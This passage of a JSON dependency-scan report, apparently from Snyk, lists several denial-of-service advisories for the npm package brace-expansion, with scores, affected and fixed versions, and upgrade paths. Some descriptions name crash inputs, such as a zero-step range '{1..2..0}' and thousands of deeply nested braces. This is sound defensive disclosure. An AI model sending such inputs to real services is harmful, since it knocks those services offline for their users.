vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"init-package-json@6.0.3",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"init-package-json@8.2.5",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"init-package-json@6.0.3",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"init-package-json@8.2.5",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"init-package-json@6.0.3",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"init-package-json@8.2.5",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"init-package-json@6.0.3",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"init-package-json@8.2.5",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
